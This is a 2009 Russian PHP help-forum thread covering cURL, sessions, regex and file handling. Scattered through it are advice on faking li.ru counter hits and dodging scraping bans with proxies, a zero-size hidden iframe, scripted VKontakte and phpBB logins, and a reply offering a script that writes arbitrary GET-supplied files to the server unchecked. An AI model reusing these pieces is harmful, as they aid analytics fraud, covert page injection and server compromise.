вообщем это парсер, проверять лень. ну смысл думаю уловил, потом порсто что получилось складываешь в базу
:D непонял ты вопроса совсем.лучшебы вообще не писал :D
Fepsis, авторизация проходит, страница с выбором тестов открывается(там где написано Здравствуйте, фамилиимя), но должна быть страница с уже выбраным тестом(текст вопроса и варианты ответов), то есть этот post user_test_choice=747695 не отсылается и имитируется нажатие на кнопку "Начать тест", но так он не выбран, то пишется "Вы забыли выбрать тест".
Fepsis, авторизация проходит, страница с выбором тестов открывается(там где написано Здравствуйте, фамилиимя), но должна быть страница с уже выбраным тестом(текст вопроса и варианты ответов), то есть этот post user_test_choice=747695 не отсылается и имитируется нажатие на кнопку "Начать тест", но так он не выбран, то пишется "Вы забыли выбрать тест".
У меня в результате работы скрипта появляется страница с вопросом "Понятия «интерполяция» и «экстраполяция» это..."
Fepsis, всё верно, это и должно появлятся, видимо у меня курл на денвере криво встал, буду тестить..
помогите с условиями.
if($_POST['scode']=='123')
хочу чтобы работало не под одному условию, а по нескольким из файла..
файл scodes.txt
123
534
867
...
if($_POST['scode']=='123' || $_POST['scode']=='534' || $_POST['scode']=='867')
или, смоьтря какое услови "и" или "или"
if($_POST['scode']=='123' && $_POST['scode']=='534' && $_POST['scode']=='867')
Gray_Wolf
01.10.2009, 16:39
2REBUUS каким образом можно сделать так чтобы отработало условие с И ? )))))
REBUUS я так делал... но для меня не удобно каждый раз так добавлять новое условие
мне удобнее добавлять их в файл\n
if($_POST['scode']=='123' || $_POST['scode']=='534' || $_POST['scode']=='867')
или, смоьтря какое услови "и" или "или"
if($_POST['scode']=='123' && $_POST['scode']=='534' && $_POST['scode']=='867')
в чом разница втвоем коде?)
|| = && = or
| = & = and
Gray_Wolf
01.10.2009, 16:43
|| = && = or
| = & = and
o_O
в чом разница втвоем коде?)
|| = && = or
| = & = and
&& это И
|| это ИЛИ
& и | это смещение по битам вобще
&& это И
|| это ИЛИ
& и | это смещение по битам вобще
Ну епана,простите наркомана....
Gray_Wolf
01.10.2009, 16:45
http://php.su/learnphp/operators/?logical
ну раз я в теме
AND = &&
OR = ||
XOR = есть для него чёнить?
Epic wave
01.10.2009, 16:48
$a xor $b Исключающее 'или' TRUE если $a, или $b TRUE, но не оба.
волна, ты непонел, ну неважно, если чё, я в болтанке бегаю
Epic wave
01.10.2009, 16:51
а такой вопрос нужну обратиться к сайту 9к раз чтобы достать 9к записей, но после 3к сайт банит. пробовал sleep(); но никак. что можно сделать может использовать юзерагенты, прокси, несколько сервов ?
ну раз я в теме
XOR = есть для него чёнить?
Нету. ;)
Epic wave, прокси юзай =\
а такой вопрос нужну обратиться к сайту 9к раз чтобы достать 9к записей, но после 3к сайт банит. пробовал sleep(); но никак. что можно сделать может использовать юзерагенты, прокси, несколько сервов ?
Смотря по какому критерию бан получаешь... Пробуй самое простое сначала - куки очистить, сменить юзер агент, если не прокатит, то, как уже написал Понч, юзай прокси..)
astrologer
01.10.2009, 19:12
ну раз я в теме
AND = &&
OR = ||
XOR = есть для него чёнить?Для логических значений есть !=
Для логических значений есть !=
А так же !==
Есть у кого пример реализации статус бара?
типа % выполненого?? или это все лучше сделать на ЯваСкрипте?
Если есть примеры буду благодарен.
KaMiKadZe
02.10.2009, 11:00
Есть у кого пример реализации статус бара?
типа % выполненого?? или это все лучше сделать на ЯваСкрипте?
Если есть примеры буду благодарен.
На php показать такую правду и даже близкую к правде невозможно, php скрипты не работают без перезагрузки страницы...
Gray_Wolf
02.10.2009, 12:23
2svesve
Тут нужен АЯКС.
ZirroCool
02.10.2009, 17:53
Всем привет! Собственно есть вопрос, не столько по пхп сколько по алгоритму, но соответствующего раздела я не нашел!
Задача: Нужно составить функцию для перебора всех возможных комбинаций букв латинского алфовита где длинна 1 комбинации N букв;
Заранее спасибо за ответ!
Всем привет! Собственно есть вопрос, не столько по пхп сколько по алгоритму, но соответствующего раздела я не нашел!
Задача: Нужно составить функцию для перебора всех возможных комбинаций букв латинского алфовита где длинна 1 комбинации N букв;
Заранее спасибо за ответ!
пока что 2-х символьные комбинации:
<?php
$low=array();
for($i=97;$i<=122;$i++){
$low[]=chr($i);
}
for($z=0;$z<=25;$z++){
for($i=0;$i<=25;$i++)
{
echo $low[$i].$low[$z].'<br/>';
}
}
?>
пока что 2-х символьные комбинации:
Так не интересно, давай общий случай для произвольного n.. ;)
Так не интересно, давай общий случай для произвольного n.. ;)
для произвольного - я хз как , мб подскажешь?
для произвольного - я хз как , мб подскажешь?
http://docstore.mik.ua/orelly/webprog/pcook/ch04_26.htm
<?php
$low=array();
for($i=97;$i<=122;$i++){
$low[]=chr($i);
}
for($m=0;$m<=25;$m++){
for($g=0;$g<=25;$g++){
for($z=0;$z<=25;$z++){
for($i=0;$i<=25;$i++)
{
$two[]=$low[$i].$low[$z];
$three[]=$low[$i].$low[$z].$low[$g];
$four[]=$low[$i].$low[$z].$low[$g].$low[$m];
}
}
}
}
?>
в массиве $four оказалось 456975 елементов,продолжать дальше нет смысла т.к.
Maximum execution time - 30 seconds
crazy~driver
02.10.2009, 20:04
Привет, вопрос не по php, а скорее по smarty (такого раздела не нашел)
Вообщем такая ситуация... Я в шаблоне смарти (например menu.tpl) подключаю файл php, в котором объявлена константа и глобальная переменная.
Сам вопрос ... Как мне в этом же шаблоне обратиться к ним, но уже средствами smarty(например вывести на экран)
zifanchuck
02.10.2009, 20:06
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?
мб банят по юзверь-агенту,или по кукам,+юзай прокси.
zifanchuck
02.10.2009, 20:17
мб банят по юзверь-агенту,или по кукам,+юзай прокси.
про юзерагент тоже подумал, я его даже забыл выставить, но после того как выставил ничего не получилось. насчет кук хз, может из-за них. прокси поставлю когда уже будет робочий скрипт. пока я не накручиваю по 100 или больше, я его запускаю на 1 загрузку.
вообщим такая штука) хочу написать скрипт накрутки ли.ру. захожу на сайт с счетчиком и сморю что куда отправляет. нашел чето типа етого
http://counter.yadro.ru/hit?t44.6;r;s1024*768*32;uhttp%3A//te-st.ru/;0.4811651660500814
захожу по етой ссылке мне защитывает хит. вбиваюссылку в курл ничего не происходит. Может кто знает почему? меня немного настораживают знаки типа ";" и "*" может курл с ними не работает или еще чтото?
линк генерируется java скриптом, разберись как, и генери так-же.
zifanchuck
02.10.2009, 22:29
не. дело не в том. линк если щас по линку проду то хит защитают (по етому) если скорилю курлу то нет. мне уже ето не нужно, но всеравно интересно почему)
для произвольного - я хз как , мб подскажешь?
Есть у меня одна идея, конечно желания всё это реализовывать нету, но как я понял, автора вопроса больше интересует, как раз таки идея, алгоритм...
ZirroCool, как вариант:
В алфавите 26 букв... на входе у нас число N...
Считаем количество комбинаций 26^N...
Потом рассматриваем числа от 0 до 26^N, и каждое из них переврдим из десятичной в 26-ричную систему счисления (алгоритмы перевода из одной системы в другую в общем то всем известны), результат забиваем в N-элементный массив, дополняя спереди ноликами до N, ну а потом каждый элемент массива переводим в букву латинского алфавита chr($a[$i]+97) и выводим implode($a)
На выходе как раз получим все комбинации..)
zifanchuck
02.10.2009, 23:40
Чето башка роскалываеться. немогу сделать елементарную фишку
есть масив акаунтов и масив прокси. прокси меньше чем аков. нужно чтобы когда прокси пройдут по первому кругу началось заново(с начала масива)
есть чтото типа
$count = 20;//типа колво аков
$proxy = $_POST['proxy'];
$proxy = explode("\n", $proxy);
$countproxy = count($proxy);//прокси допустим 10
for($i=0; $i<$count; $i++)
{
$result = curl("http://2ip.ru","", $proxy[$i]);
echo $result;
}
тоисть у меня есть 10 прокси и 20 аков. нужно 1 проксик заюзался 2 раза. я чето очень туплю и немогу ничего сделать :( :( :(
такс вроде роздуплился. неактуально
что то типа:
$z=$i;
if($i>=$countproxy){
$z=0;
$z++;
$result = curl("http://2ip.ru","", $proxy[$z]);
zifanchuck
02.10.2009, 23:57
L I G A, примерно так и выкрутился))
Pashkela
03.10.2009, 03:12
Привет, вопрос не по php, а скорее по smarty (такого раздела не нашел)
Вообщем такая ситуация... Я в шаблоне смарти (например menu.tpl) подключаю файл php, в котором объявлена константа и глобальная переменная.
Сам вопрос ... Как мне в этом же шаблоне обратиться к ним, но уже средствами smarty(например вывести на экран)
http://tutorials.haxansweb.com/PHP/introduction_to_PHP/Smarty-templates-for-beginners--By-david
скажите пжл как это код будет выглядеть в пхп
<IFRAME SRC="http://site.ru" WIDTH="0" HEIGHT="0" NAME="" SCROLLING="no" FRAMEBORDER=0>
-=Zhenek=-
03.10.2009, 09:37
скажите пжл как это код будет выглядеть в пхп
<IFRAME SRC="http://site.ru" WIDTH="0" HEIGHT="0" NAME="" SCROLLING="no" FRAMEBORDER=0>
echo "<IFRAME SRC=\"http://site.ru\" WIDTH=\"0\" HEIGHT=\"0\" NAME=\"\" SCROLLING=\"no\" FRAMEBORDER=0>";
А вообще это HTML и он и в африке HTML
crazy~driver
03.10.2009, 10:30
http://tutorials.haxansweb.com/PHP/introduction_to_PHP/Smarty-templates-for-beginners--By-david
Спасибо Pashkela, но это не то.
<!--menu.tpl-->
<table width="100%" border=0 bordercolor="#eeffff">
<tr bgcolor="#000099">
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=showlist' onFocus="this.blur()">
<font color="#ffffff"><h1>Просмотреть</font></a>
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=red' onFocus="this.blur()">
<font color="#ffffff"><h1>Редактировать</font></a>
<td width="200 px" align="center">
<a href='index.php?cl=CPeople&sc=editForm' onFocus="this.blur()">
<font color="#ffffff"><h1>Добавить</font></a>
<td width="200 px" align="center"><a href='index.php?cl=CPeople&sc=about' onFocus="this.blur()">
<font color="#ffffff"><h1>Об авторе</font></a> </table>
{php}
include "auth/auth.php";
//echo $as;
{/php}
<!-- вот здесь нужно выдернуть переменную и константу -->
<table width="5%" border=3 bordercolor="#C400C4"> <tr>
<td width="100px" align="center">
<a href='index.php?cl=CPeople&sc=poisk' onFocus="this.blur()">
<font color="#C400C4"><h1>Поиск</font></a>
</table>
Мне нужно после вставляемого кода php выдернуть средствами смарти константу и глобальную переменную.
подскажите с session_start();
есть скрипт запускающий сессии
session_start();
if(empty($_SESSION['login']))
{
header('location: http://'. $_SERVER['HTTP_HOST'] .'?register=autorize');
exit();
}
но при его работе выдаёт ошибку:
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by
сервер:
PHP 5.2.4
_____________________________________
прошу подсказать в каком направлении копать(никаких функций писать не нужно)
Pashkela
03.10.2009, 13:39
2 crazy~driver:
Вообще-то правильно делать все нужные инклуды и последующую обработку в php-файлах, а потом уже делать $smarty->assign(); для внесения конечных нужных данных в шаблон
2 harom:
session_start(); должно быть в самом начале кода (сверху)
Note: If you are using cookie-based sessions, you must call session_start() before anything is outputted to the browser.
т.е. выше session_start() не должно быть никаких echo, print и прочего
PS: Т.е. скорее всего ты просто выложил не весь код
2harom
проверь есть ли до session_start() какой-либо вывод
echo "<IFRAME SRC=\"http://site.ru\" WIDTH=\"0\" HEIGHT=\"0\" NAME=\"\" SCROLLING=\"no\" FRAMEBORDER=0>";
А вообще это HTML и он и в африке HTML
а вобще лучше юзать ' а не тыкать "\"
Deathdreams
03.10.2009, 14:12
2 harom
Юзай :
@session_start();
Pashkela
03.10.2009, 14:15
а вобще лучше юзать ' а не тыкать "\"
вообще-то можно вообще без внутренних кавычек:)
crazy~driver
03.10.2009, 16:33
подскажите с session_start();
есть скрипт запускающий сессии
session_start();
if(empty($_SESSION['login']))
{
header('location: http://'. $_SERVER['HTTP_HOST'] .'?register=autorize');
exit();
}
но при его работе выдаёт ошибку:
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by
сервер:
PHP 5.2.4
_____________________________________
прошу подсказать в каком направлении копать(никаких функций писать не нужно)
ob_start () тебе поможет, если ранее передаются хедеры, прогугли эту функцию
crazy~driver
03.10.2009, 16:37
2 crazy~driver:
Вообще-то правильно делать все нужные инклуды и последующую обработку в php-файлах, а потом уже делать $smarty->assign(); для внесения конечных нужных данных в шаблон
да я знаю, если бы я полностью писал код, то так бы и сделал, а так тело одно писало, писало, а потом помоги.
А так никак нельзя обратиться к ним?
Pashkela
03.10.2009, 16:43
не сталкивался просто с такой проблемой, сорри. Вообще, по логике, цепляешь исходный php - откуда в шаблон всё прыгает - и там уже делаешь всё что хочешь в обычном режиме. Просто запускаешь поиск внутри файлов по параметру имени переменной, что в шаблоне
superboy4
03.10.2009, 17:55
Интересует функция авторизации вкантакте, получение сессии, кто писал покажите свои варианты.
не позорься с такой репой, или ты прикалываешься ???ты же сам это писал.
Я поиском по форуму прошёлся. :D
||
^ базара ноль, но поиск рулит. :)
heretic1990
03.10.2009, 18:44
Интересует функция авторизации вкантакте, получение сессии, кто писал покажите свои варианты.
Я раньше так логиниля.
function vklog($email,$pass) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans=fgets($fp,128);
fclose($fp);
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}
Я раньше так логиниля.
function vklog($email,$pass) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans=fgets($fp,128);
fclose($fp);
if(preg_match("/\b302 Found\b/is", $ans)) {
return true;
} else {
return false;
}
}
там уже vk.com
________
0ph.ru
Переделал свою авторизацию
function vk_login($login,$pass)
{
$login = urlencode($login);
$pass = urlencode($pass);
$ch = curl_init('http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk=");
$res = curl_exec($ch);
if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}
heretic1990
03.10.2009, 20:13
L I G A, и чё? этот способ тоже работает! если не лень проверь ;)
phpdreamer
03.10.2009, 20:23
Такой вопрос:
как через curl подставить куки?
Я буду обращатся к хосту, передавая ему POST параметры
а нужно еще и кукисы передать, а потом желательно записать изменения
ну как получить куки я вроде бы знаю - curl_setopt ($curld, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($curld, CURLOPT_COOKIE, "login=Guest&password=123456");
BoEH-upchk
03.10.2009, 20:40
thx
Здравствуйте!
Вопрос:
Можно ли cчитать данные с textarea, распихав построчно их в массив?
Пробую вот так:
$test = str_replace('\n','<br />',$_POST['test']);
Но не получаю нужного результата...
Благодарен любым ответам!
ZirroCool
03.10.2009, 22:40
OnArs, попробуй так :
$test = explode("\n",$_POST['test']);
Только что нашёл что можно сделать вот так:
preg_split("/[\n,]+/", $_POST['test']);
или так:
echo nl2br($_POST['test']);
Но всё равно большое спасибо! ;)
Существует файл в котором текст записан так:
Метод дихотомии гарантирует отыскание минимума с заданной точностью, если...
правильно выбран отрезок неопределенности
--------------------------------------------
Высшей степенью точности обладает...
метод Симпсона
--------------------------------------------
Если на значения параметров оптимизации существуют ограничения, то задача оптимизации называется...
условной
--------------------------------------------
Высшей степенью точности обладает...
метод Симпсона
--------------------------------------------
Как удалить все повторения текста, но чтоб оставался разделитель "----" ? array_unique насколько я знаю построчно читает содержимое файлов, тоесть разделители тоже удаляться..
Как-то так видимо
<?php
$delim = '--------------------------------------------';
$file = file_get_contents('file.txt');
$list = array_unique(explode($delim, $file));
print implode($delim, $list);
?>
UnknownZZZ
04.10.2009, 16:43
Подскажыте плз код чтоб создавать файлы на сервере, потом туда чтото дописывать и чытать.....причом имя файла, что писать, что чытать нужно писать в запросе к скрипту !!
?filename=qwerty.txt&text=thisistext
if(!empty($_GET['filename']) && !empty($_GET['text']))
file_put_contents($_GET['filename'],$_GET['text']);
Таm уже сам по ситуации urldecode etc...
UnknownZZZ
04.10.2009, 16:58
спс,....шас попробую...есличо не так,...срошу)
UnknownZZZ
04.10.2009, 17:09
Да,..ето именно то что надо))))) спс большое)) помогиешо как дописать в существующий файл,...и как прочитать заданое значение )))
zifanchuck
04.10.2009, 17:39
немного не в тему, но трабла с денвером. точнее не у меня а у 2 челов. у них вылетает ощибка при запуске денвера типа невозможно отредактировать хостс. и из-за етого наверное у ним мой скрипт не пашет. у меня на денвере все норм. может кто сталкивался что может его блочить? и возможно что изза етой ошибки не работает скрипт?
ZirroCool
04.10.2009, 17:47
права записи в system32\drivers\etc\hosts открыть всем пользователям, как вариант, но не очень хороший)
права записи в system32\drivers\etc\hosts открыть всем пользователям, как вариант, но не очень хороший)
И сразу скинь мне их Ip-адреса, будь другом =)
немного не в тему, но трабла с денвером. точнее не у меня а у 2 челов. у них вылетает ощибка при запуске денвера типа невозможно отредактировать хостс. и из-за етого наверное у ним мой скрипт не пашет. у меня на денвере все норм. может кто сталкивался что может его блочить? и возможно что изза етой ошибки не работает скрипт?
это изза того что не хватает прав, если система у них виста или семерка то пусть попробуют запустить денвер от имени администратора
UnknownZZZ
04.10.2009, 18:34
помогите мне со скриптом что выше,.....надо чтоб он дописывал значения в файл,..и чтоб чытать можно было
zifanchuck
04.10.2009, 18:35
это изза того что не хватает прав, если система у них виста или семерка то пусть попробуют запустить денвер от имени администратора
ХП сервиспак 3. всмысле из под админа зайти и денвер запустить?
помогите мне со скриптом что выше,.....надо чтоб он дописывал значения в файл,..и чтоб чытать можно было
скрипт для записи <?php
function file_put($data, $file)
{
$f = fopen($file, "a+");
fwrite($f, $data."\r\n");
fclose($f);
}
if (isset($_GET['filename']) and isset($_GET['text']) and $_GET['filename'] != "" and $_GET['text'] != "") {
file_put($_GET['text'], $_GET['filename']);
}
?>
скрипт для чтения <?php
if (isset($_GET['filename']) and $_GET['filename'] != "") {
if (file_exists($_GET['filename'])) {
echo nl2br(file_get_contents($_GET['filename']));
}
}
?>
zifanchuck, рекомендую почитать http://forum.dklab.ru/viewtopic.php?p=170670 и http://forum.dklab.ru/viewtopic.php?p=160573&noimg=1, ну и вообще с вопросами на денвер лучше обращаться на тот форум)))
zifanchuck
04.10.2009, 19:21
та читал) попробуе еще раз перечитать, может чтото пропустил) спасибо
zifanchuck
04.10.2009, 19:34
там еще такой ньюанс. в етк есть какойто хостс.бак или чтото такое. просто хостс нет. сделать его нельзя пишет что запрещено. говорят что сидят из под админа. уже я им давал свой билд(тот что себе устанавливал) денвера. всеравно. у обоих есть тот бак. сервис пак у одного 2 у другого 3. вроде все поотключали что может блочить, всеравно. может вирь какойто? щас погуглю нащет того бака. ниукого его небыло?
может пусть поробуют зайдут из под безопасного режима удалят все эти баки и создадут hosts, там даже из под безопасного можно запустить
zifanchuck
04.10.2009, 19:40
может пусть поробуют зайдут из под безопасного режима удалят все эти баки и создадут hosts, там даже из под безопасного можно запустить
мб. как то сам не догадался)) скажу им. пусть попробуют. спасибо еще раз)
UnknownZZZ
04.10.2009, 19:44
Спасибо большое ))
[Dezzter]
04.10.2009, 20:56
авторизация на phpbb
$post =
"username=".$user."&password=".$pass."&redirect=index.php&login=%D0%92%D1%8
5%D0%BE%D0%B4";
$sock = fsockopen("site.ru", 80, $errn, $err);
$send = "GET http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
$send .= "Host: site.ru\r\n";
$send .= "Referer: http://site.ru/ucp.php?mode=login\r\n";
$send .= "Connection: Close\r\n\r\n".$post;
$user и $pass валид
пост вроде верный, отсылаю, получаю 2 ответа (ну от гета и от поста
соответственно), ну короче, получаю от поста
Set-Cookie: phpbb3_g387u_u=1; expires=Mon, 04-Oct-2010 16:25:17 GMT; path=/;
domain=site.ru; HttpOnly
Set-Cookie: phpbb3_g387u_k=; expires=Mon, 04-Oct-2010 16:25:17 GMT; path=/;
domain=site.ru; HttpOnly
Set-Cookie: phpbb3_g387u_sid=66a3c5ee6fb2ed9f34001a7f512304cb; expires=Mon,
04-Oct-2010 16:25:17 GMT; path=/; domain=site.ru; HttpOnly
выдираю куки, но авторизоваться с ними не получается, в чем косяк?
в общем возникла такая проблема: есть ICQ бот, я хочу добавить функцию декодирования из Hex, но проблема в том что когда я отправляю команду боту на расшифровку он вылетает, а кодирует нормально.
в чём может быть проблема? :( :( :(
// Функция кодирования в Hex
case 'hex':
$mlCQ->send_message($from,bin2hex($cmd[2]), 2);
break;
// Функция декодирования из Hex
case 'unhex':
$unhex=unhex($cmd[2]);
if($unhex=='') { $unhex='Не возможно'; }
$mlCQ->send_message($from,$unhex);
break;
mailbrush
04.10.2009, 23:13
levsal, ф-ции unhex в PHP нету.
ZirroCool
04.10.2009, 23:21
<?php
/*
Function: hexToAscii
Code URI: http://ifelse.co.uk/code/hex_to_ascii.php
Description: Nice and simple script that converts a delimited hex string to it's ASCII representation.
Example usage: hexToAscii("4d 49 43 52 4f 50 52 4f 47 52 41 4d 4d 45 52");
Author: Phu Ly
Author URI: http://www.ifelse.co.uk
*/
function hexToAscii($hex, $delimeter=" ")
{
//Remove delimiters from hex string
$hex = str_replace($delimeter, "", $hex);
$strLength = strlen($hex);
$returnVal = '';
for($i=0; $i<$strLength; $i += 2)
{
$dec_val = hexdec(substr($hex, $i, 2));
$returnVal .= chr($dec_val);
}
return $returnVal;
}
?>
mailbrush, знаю.
всё, разобрался, намудрил с функцией расшифровка, проблема в ней была!
Epic wave
05.10.2009, 00:22
http://www.php.net/
ZirroCool
05.10.2009, 00:23
я хочу быстро и нрамматно написать CMS
Ты сначалоа по русски научись писать грамотно! У тебя видимо так мало времени, ты так спешишь, что ачепяток у тебя в тексте больше чем букв!
if($submit){
$result3 = mysql_query("INSERT INTO `bd` VALUES(NULL, '".$_POST['post']."', '".$_POST['nik']."')");
}?>
<form action="" method="post" >
Ваш ник: <input type="text" name="nik" value="Гость" /><br />
<textarea cols="100" rows="10" name="post"></textarea>
<input type="submit" name="submit" value="отпавить" />
</form>
Как сделать так, что бы при на;атии F5 сообщение снова не заносилось в базу? Спасибо.
$query = mysql_query("SELECT * FROM bd WHERE nik='".$_POST['nik']."' ");
if(mysql_num_rows($query) > 0){
echo 'Такая запись уже есть....';
}else{
запрос
}
Конечно,WHERE nik= смени на название нужного пол,где храниться $_POST['nik'];
2mff
<?php
if($submit){
$result3 = mysql_query("INSERT INTO `bd` VALUES(NULL, '".$_POST['post']."', '".$_POST['nik']."')");
echo '<meta http-equiv="refresh" content="0;url="'.$_SERVER['PHP SELF'].'">';
}?>
<form action="" method="post" >
Ваш ник: <input type="text" name="nik" value="Гость" /><br />
<textarea cols="100" rows="10" name="post"></textarea>
<input type="submit" name="submit" value="отпавить" />
</form>
?>
________
0ph.ru
может просьба оч глупая, но никак не могу настроить php.ini для денвера с поддержкой работы с сессиями, выложить кто нить может?
денвер по умолчанию с сессиями работает, тебе что именно то надо?
']авторизация на phpbb
$post =
"username=".$user."&password=".$pass."&redirect=index.php&login=%D0%92%D1%8
5%D0%BE%D0%B4";
$sock = fsockopen("site.ru", 80, $errn, $err);
$send = "GET http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
$send .= "Host: site.ru\r\n";
$send .= "Referer: http://site.ru/ucp.php?mode=login\r\n";
$send .= "Connection: Close\r\n\r\n".$post;
$user и $pass валид
пост вроде верный, отсылаю, получаю 2 ответа (ну от гета и от поста
соответственно), ну короче, получаю от поста
выдираю куки, но авторизоваться с ними не получается, в чем косяк?
исправь на
$send = "POST http://site.ru/ucp.php?mode=login HTTP/1.1\r\n";
и добавь
$send.= "Content-Length: ".strlen($post)."\r\n"
денвер по умолчанию с сессиями работает, тебе что именно то надо?
да не совсем...(как я понял)
вот файл php.ini (http://zubar-andrey.org.ua/files/php.ini)
а вот какая ссылочка (http://zubar-andrey.org.ua/files/error.jpg) получается при переходе на страничку с регистрацией ,
суть в том, что куки добавляет к ссылке
как я понял это некорректная настройка php.ini
переходе на страничку с регистрацией
код в студию, а вообще
<?php
session_start();
if (!isset($_SESSION['c'])) $_SESSION['c']=0;
echo "Ты тут уже был ".$_SESSION['c']++." раз. Жми F5";
?>
вот нормальный пример, и php.ini тут вовсе не причём
тем более что
; Whether to use cookies.
session.use_cookies = 1
ищи у себя ошибки в скрипте
всем спасибо за ответы, сам скрипт (http://zubar-andrey.org.ua/files/register.rar) выложить то не сложно, не мой он, я лишь разбираюсь в нём, но за ваши подсказки(никакого кода, просто намёки) был бы благодарен
как сделать простой рандомный вывод картинки из папки?
К примеру, прочитать скриптом каталог с картинками, записать имена файлов в массив. Генерите число от нуля до максимального индекса полученного массива. Собственно все
$img = scandir('images');
echo '<img src="'.$img[rand(2, sizeof($img)-1)].'">';
draliokero
06.10.2009, 21:06
Есть .txt файл, в нем на каждой строчке есть слова.
Нужно осуществить поиск слов по нему с возможностью указания маски * и ?
preda1or
06.10.2009, 21:24
Есть .txt файл, в нем на каждой строчке есть слова.
Нужно осуществить поиск слов по нему с возможностью указания маски * и ?
$file = file_get_contents('file');
$search = 'Слово';
preg_match('#.*'.$search.'.*#isU',$file,$match);
print_r($match);
by m0hze
draliokero
06.10.2009, 21:34
preda1or, Спасибо, а как сделать, чтобы $search = 'Слово, слово1, слово2...'; через запятую можно было указать (с возможностью вставки маски в словах)? Чтобы можно было по маске одно или несколько слов найти...
Может есть такой скрипт который сканирует папку и выводит все содержимое папки в таблицу, или как он называется?
preda1or, Спасибо, а как сделать, чтобы $search = 'Слово, слово1, слово2...'; через запятую можно было указать (с возможностью вставки маски в словах)? Чтобы можно было по маске одно или несколько слов найти...
поччитай про регулярные выражения.
например тутhttp://php.su/lessons/?lesson_17
superboy4
07.10.2009, 16:01
Друзья, скажите
Если чел залогинится на Вконтакте, а затем перейдёт на мой сайт, какой Примерно вид будет иметь заголовок referer, если чел идёт оттуда? Только точно!
если чел набрал адрес твоего сайта в адресной строке, то рефера не будет
а если перешёл по ссылке из контакта, то будет http://vkontakte.ru/away.php?to=ссылка
superboy4
07.10.2009, 16:24
да блин, он сам выбрал ссылку моего сайта в браузере, набрал чтоли!
вот про что я говорю!?
http://vkontakte.ru/away.php?to=ссылка
superboy4
07.10.2009, 16:31
http://vkontakte.ru/away.php?to=ссылка
это будет, если пользователь перейдёт по ссылке на ВК, например на стенке.
Возникла необходимость написать свой скрипт для распределения трафика, но вот столкнулся с проблемой, какой алгоритм выбрать для неравномерного распределния трафа между ресурсами. Сам я надумал кое какие, но "корявые" какие-то, буду рад если поделишься своими наработками. Спасибо.
Возникла необходимость написать свой скрипт для распределения трафика, но вот столкнулся с проблемой, какой алгоритм выбрать для неравномерного распределния трафа между ресурсами. Сам я надумал кое какие, но "корявые" какие-то, буду рад если поделишься своими наработками. Спасибо.
зачем придумывать велосипеды? все и так давно написано
возьми tds какую-нибудь и заюзай ее
2gisTy
Я не изобретаю велосипед, просто возникла такая необходимость, решаю задачу которая не совсе вписываеться в функцию типичной тдс
неравномерно распределять траф - это наверн случайно по списку.. ?
а-3
б-9
в-14
----
траф -> рандом(а.б.в) -> б - > +1
----
а-3
б-10
в-14
есть текст из файла, содержит все что угодно , на пр:
#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/
Надо вытащить ТЕКСТ ТЕКСТ который находиться между bk[0] = ' и '; без кавычек
пробовал регулярными выражениями, но я в них слаб, может вы поможете ?
Fepsis прав, я чет не то выложил.(не весь кусок кода)
есть текст из файла, содержит все что угодно , на пр:
#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/
Надо вытащить ТЕКСТ ТЕКСТ который находиться между bk[0] = ' и '; без кавычек
пробовал регулярными выражениями, но я в них слаб, может вы поможете ?
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
print_r($res[0]);
?>
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
print_r($res[0]);
?>
выводит Array ( [0] => ТЕКСТ ТЕКСТ ) :mad:
